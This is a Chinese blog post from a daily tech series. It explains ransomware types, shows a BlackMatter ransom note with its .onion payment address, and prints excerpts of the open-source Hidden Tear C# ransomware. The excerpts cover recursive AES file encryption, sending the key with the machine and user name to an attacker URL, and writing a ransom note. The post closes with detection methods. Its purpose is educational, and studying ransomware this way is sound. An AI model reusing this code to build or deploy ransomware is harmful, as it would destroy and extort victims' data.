【Day 22】病毒出得去,赎金进得来,勒索软件发大财 - Ransomware

环境

  • Windows 10 1709

这篇的操作请全部在虚拟机上执行,并且保证本机的版本更新到最新。

勒索软件种类

最早的勒索软件可追溯至由 Joseph Popp 制作的 AIDS Trojan,透过加密磁碟上的档案,要求使用者付赎金。这类的勒索软件也是目前最常见的,也是这篇文章主要要介绍的,但其实还有别种勒索软件。

Encrypting Ransomware

目前最常见的勒索软件类型,透过加密档案威胁使用者支付赎金来复原档案,其中 2017 年爆发的 WannaCry 就属於这种。

Non-Encrypting Ransomware

不加密档案,而是诱骗使用者花钱。例如 2011 年有个勒索软件利用 Windows 的产品启用告示,诱骗使用者拨打价格高昂的长途电话费用。

Leakware

这是一个 Encrypting Ransomware 的反向操作,不一定是要求使用者付赎金赎回他们的资料,而是威胁使用者如果不交赎金就公开资料。例如 2020 年 Conti 勒索软件要求研华缴交赎金,否则公开内部机密资料。

Mobile Ransomware

针对行动装置,例如锁住装置萤幕,或是偷取使用者资料来威胁使用者付赎金。

被勒索软件感染会怎样

以下将以 2021 年出现的 BlackMatter 举例,它属於 Encrypting Ransomware + Leakware 类型,後面将以一般使用者的角度观察发生勒索软件後会变什麽样子。要玩 Sample 请务必开虚拟机,否则档案被加密没人救得回来。

首先最明显的是桌面背景被替换。有的还会播放声音警告你这台机器的档案已经被加密,不过也有些勒索软件都没有。

档案被加密後,将档案内容加密并且添增副档名,从下图可以看到被加密成副档名 1y1lbW1lL 的档案。有些勒索软件只会加密特定副档名的档案,例如 zip、pdf、jpg 等等,而不会加密 exe、dll 之类的,但是有的是全都加密。

再来是各个资料夹随处可见的 README。内容基本上就是要你下载 tor,连结到网址支付赎金後就会给你解密工具,如果不给就威胁公布资料。

      ~+                                       
               *       +
         '     BLACK        |
     ()    .-.,='``'=.    - o -         
           '=/_       \     |           
        *   |  '=._    |                
             \     `=./`,        '    
          .   '=.__.=' `='      *
 +             Matter        +
      O      *        '       .

>>> What happens?
   Your network is encrypted, and currently not operational. We have downloaded 1TB from your fileserver.
   We need only money, after payment we will give you a decryptor for the entire network and you will restore all the data.

>>> What guarantees? 
   We are not a politically motivated group and we do not need anything other than your money. 
   If you pay, we will provide you the programs for decryption and we will delete your data. 
   If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not comply with our goals. 
   We always keep our promises.

>> Data leak includes
1. Full emloyeers personal data
2. Network information
3. Schemes of buildings, active project information, architect details and contracts, 
4. Finance info


>>> How to contact with us? 
   1. Download and install TOR Browser (https://www.torproject.org/).
   2. Open http://supp24yy6a66hwszu2piygicgwzdtbwftb76htfj7vnip3getgqnzxid.onion/7NT6LXKC1XQHW5039BLOV.
  
>>> Warning! Recovery recommendations.  
   We strongly recommend you to do not MODIFY or REPAIR your files, that will damage them.

Hidden Tear

Hidden Tear 是一个开源的勒索软件,2015 年後这个专案就没更新了。它的变种也非常多,例如 MoWare。甚至有出现一些很闹的变种,例如 CryptoSpider 只发送病毒通知和猫猫图,却没有要赎金;还有变种 RensenWare 要求使用者要玩射击游戏才能解密。

功能

根据专案的介绍,除了解密工具外,它做了勒索软件最基本的几个功能。

  • 用 AES 加密法加密档案
  • 把加密的 Key 送到攻击者的机器
  • 存放缴交赎金讯息的文字档

实作方式

这个专案使用 C# 语言撰写,以下实作方式就把上述三个功能的程序片段列出,并附上注解。

用 AES 加密法加密档案

// 加密整个目录
public void encryptDirectory(string location, string password) {
    // 选择加密目标的副档名
    var validExtensions = new[] {
        ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
    };
    
    // 列举当前目录内的所有档案加密
    string[] files = Directory.GetFiles(location);
    string[] childDirectories = Directory.GetDirectories(location);
    for (int i = 0; i < files.Length; i++){
        string extension = Path.GetExtension(files[i]);
        if (validExtensions.Contains(extension))
        {
            EncryptFile(files[i],password);
        }
    }
    
    // 继续往下层目录搜索档案
    for (int i = 0; i < childDirectories.Length; i++){
        encryptDirectory(childDirectories[i],password);
    }
}

// 加密档案
public void EncryptFile(string file, string password) {
    byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
    byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
    
    // 用 password 的 SHA256 Hash 当作 AES 的 Key 加密档案
    passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
    byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
    
    // 加密後覆盖档案并添增副档名 .locked
    File.WriteAllBytes(file, bytesEncrypted);
    System.IO.File.Move(file, file+".locked");
}

把加密的 Key 送到指定的机器

// 用乱数取 length 个字元当作 password
public string CreatePassword(int length) {
    const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
    StringBuilder res = new StringBuilder();
    Random rnd = new Random();
    while (0 < length--){
        res.Append(valid[rnd.Next(valid.Length)]);
    }
    return res.ToString();
}

// 这边传送的是 password,而不是 AES 的 key
public void SendPassword(string password) {        
    string info = computerName + "-" + userName + " " + password;
    var fullUrl = targetURL + info;
    var conent = new System.Net.WebClient().DownloadString(fullUrl);
}

存放缴交赎金讯息的文字档

// 在桌面建立 READ_IT.txt 档案存放勒索讯息
public void messageCreator() {
    string path = "\\Desktop\\test\\READ_IT.txt";
    string fullpath = userDir + userName + path;
    string[] lines = { "Files has been encrypted with hidden tear", "Send me some bitcoins or kebab", "And I also hate night clubs, desserts, being drunk." };
    System.IO.File.WriteAllLines(fullpath, lines);
}

侦测

Honey Pot

放个模拟真实环境的机器,让恶意程序以为这是它的目标。用这个方式蒐集恶意程序的档案资讯或行为 Pattern 等。

Yara

透过档案的 Signature 确认这个档案是不是已存在的勒索软件,不过这种方法是建立在有庞大的资料库的前提下。

行为 Pattern

根据程序执行中所做的行为判断是不是恶意程序,例如大量改写档案,甚至有试图改写目前正在执行的执行档。不过这个需要足够的证据去证明目前执行的是一个恶意程序,因为可能有些合法的软件也会有大量写档案的情形。

Machine Learning

同样是透过行为 Pattern,不过是用 ML 的方式去判断是否是恶意程序。

参考资料


<<:  21. 当一切未知时,该如何做决策?

>>:  Progressive Web App 推播通知: 网站推播通知用户端实作入门 (24)

[Day12] XSLT Injection

前言 又来Injection了! 正文 XSLT,全称Extensible Stylesheet L...

Day 1 :Why do I write this topic?

本届铁人赛会参赛,一方面因主管以及同事的盛情邀约,另外一方面想要试着挑战看看自己是否能在连续30天内...

Day 30 - 实作 Amazon API GateWay 整合 AWS Lambda 与 Dynamodb

Day 30 - 实作 Amazon API GateWay 整合 AWS Lambda 与 Dyn...

[Day 12] 实作 API Response 及 i18n Response Message

定义 API Response 格式 API Response 的格式没有标准答案,网路上已经有许多...